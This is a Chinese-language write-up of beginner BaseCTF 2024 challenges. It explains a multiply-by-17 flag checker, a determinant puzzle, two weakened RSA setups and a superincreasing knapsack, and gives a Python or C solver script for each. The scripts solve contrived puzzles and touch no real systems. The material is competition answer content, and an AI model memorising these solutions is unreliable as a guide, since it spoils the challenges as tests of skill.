65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
10 collapsed lines
16
180, 113, 146, 148, 163, 79, 78, 48, 231, 77
17
};
18
for (i = 0; i < 40; i++) {
19
if (flag[i] != cipher[i]) {
20
printf("flag[%d] is wrong, expect %d, got %d.\n", i, cipher[i], flag[i]);
21
return 1;
22
}
23
}
24
return 0;
25
}

我们可以从题目中看到,flag为一个unsigned char型的数组,随后每位字符*17,查文档可得,由于flag是unsigned char类型,乘法结果会被截断为8位无符号整数。这意味着,如果乘法结果大于255,它会被模256。所以我们可以按字符来枚举,当符合条件时就填入flag。

exp如下:

1
#include <stdio.h>
2
int main() {
3
unsigned char cipher[] = {
4
98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
5
165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
6
65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
7
180, 113, 146, 148, 163, 79, 78, 48, 231, 77
8
};
9
unsigned char flag[50]={};
10
for (int i=0;i<40;i++) {
11
for (int j=33;j<=126;j++) {
12
unsigned char c=j;
13
c = c*17;
14
if (c==cipher[i]) {
15
flag[i]=j;
8 collapsed lines
16
}
17
}
18
}
19
for (int i=0;i<40;i++) {
20
printf("%c",flag[i]);
21
}
22
return 0;
23
}

[Week1] mid_math

与ez_math同理,直接给出exp:

1
import numpy as np
2
from Crypto.Util.number import *
3
4
point1 = 65540596822333029826884315503808996273733737079814345540607878287618419734231
5
point2 = 45151244176940366132774311848077675849486332018843894072137609985463616792271
6
MAT = np.array([[9259505595451159514948336330303511539525155092949382077995385373332083424570340733825203563332256599256361679775371565817159463557158551820090084800254999338417057682355404780422980119717238594927467956675771042145306399815569005775907169857728757334979422594358,3700462282298785820527479428312072678870010244861115107206951164684911761755437333209293039456840068340334559453608012512177623936248784897843503284633804083281388001236742261832974291349480314135560368365574114042082002559069958228523318326290833422846224288247,20791012146351643571145217310876690226642338279942557085580439219377325884045305279931904540467264182713135410067252835618936836675270813727053937054168296298149405902638242278868020381541490973458957704137657413376043351193],[3802535350808074374431476757195874789213113083310705049856269457737583463559458126494122484246497049005001474007088865512110432486291568737501434666990689483191924384489484665070592656641925905986397402822195880143437724155134584374613878027218950975919679551229,1519642544380087919293814751485424198320747098741960781639133554268321708273309194651985562222274023623071346914239982055028526526058064787882720065775210796950963778381575914964024929110539407721461321785325399699126116201001806816030960662346173275101476487421,8538097185709421082644083672229287227818939415260987123718318427750267353075860559170390896769087600458156859498331152566368881938040799840806164389020986990994328370205184734637870147251004626759120887684269603636183629300],[17987668490992083132878642797176089621188858356259455169173987325310681186627844776077058221612169421636403546746899152917309634315569997105261046388995579843528014810244648968375990949478033964619008761814039733347955609163,7188579142941521685422767412932555782658469950638690886255638896617687421517941457682493542615460990114218059246938237257830976937359020731335958068934235967457123039874441635435388736524907036941379695243043923900290273902,40388963560266769813551191613694768219344365780650048155838802242681775019274045964917142477325170274191702615504062392461666558731638338001971723737440974198823443420018559746335727687]])
7
det_C = 1
8
det_B = 1
9
det_MAT = MAT[0][0]*(MAT[1][1]*MAT[2][2]-MAT[1][2]*MAT[2][1])-MAT[0][1]*(MAT[1][0]*MAT[2][2]-MAT[2][0]*MAT[1][2])+MAT[0][2]*(MAT[1][0]*MAT[2][1]-MAT[2][0]*MAT[1][1])
10
det_A = det_MAT//1//1
11
flag = det_A//(point1-point2)
12
flag = long_to_bytes(flag)
13
print(flag)

[Week1] ez_rsa

题目如下:

1
from Crypto.Util.number import *
2
import gmpy2
3
m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}')
4
e=65537
5
p=getPrime(512)
6
q=getPrime(512)
7
n=p*q
8
not_phi=(p+2)*(q+2)
9
10
c=pow(m,e,n)
11
12
print(n)
13
print(not_phi)
14
print(c)

此为rsa加密,加密过程如下:

图片1

算模逆元可以使用gmpy2.invert()函数,例:gmpy2.invert(4,23)为6

exp如下:

1
from Crypto.Util.number import *
2
import gmpy2
3
4
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
5
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
6
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
7
8
e=65537
9
10
# 明文为m,密文为c
11
# 公钥为(e,n),私钥为(d,n)
12
# t = (p-1)*(q-1)
13
# (d*e)%t == 1
14
sum_pq = (not_phi-n-4)//2
15
# p+q pq求(q-1)(p-1)
5 collapsed lines
16
t = n-sum_pq+1
17
d = gmpy2.invert(e,t)
18
m=pow(c,d,n)
19
flag = long_to_bytes(m)
20
print(flag)

[Week1] babyrsa

题目如下:

1
from Crypto.Util.number import *
2
3
flag=b'BaseCTF{}'
4
m=bytes_to_long(flag)
5
6
n=getPrime(1024)
7
e=65537
8
c=pow(m,e,n)
9
10
print("n =",n)
11
print("e =",e)
12
print("c =",c)

回归定义

图片1

由欧拉函数定义可得,r = n-1,可得exp:

1
from Crypto.Util.number import *
2
import gmpy2
3
4
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
5
e = 65537
6
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832
7
8
N = n-1
9
d = gmpy2.invert(e,N)
10
m = pow(c,d,n)
11
flag = long_to_bytes(m)
12
print(flag)

[Week1] babypack

题目如下:

1
from Crypto.Util.number import *
2
import random
3
flag=b'BaseCTF{}'
4
m=4
5
bin_m=bin(m)[2:]
6
length=len(bin_m)
7
print(list(bin(m)))
8
a=[1]
9
sum=1
10
for i in range(length-1):
11
temp=random.randint(2*sum+1,4*sum)
12
sum=sum+temp
13
a.append(temp)
14
15
a=a[::-1]
6 collapsed lines
16
c=0
17
for i in range(length):
18
if bin_m[i]=='1':
19
c=c+a[i]
20
print("a=",a)
21
print("c=",c)

阅读可得,在生成a数组时,每一个数字都比之前所有数字之和大,由此可得exp:

1
from Crypto.Util.number import *
2
import random
3
# a=
4
# c=
5
flag=''
6
for i in range(len(a)):
7
if c>=a[i]:
8
flag+='1'
9
c-=a[i]
10
else:
11
flag+='0'
12
flag=int(flag,2)
13
flag=long_to_bytes(flag)
14
print(flag)
Article title:2024 BaseCTF高校联合新生赛writeup
Article author:sysNow
Release time:Sep 21, 2024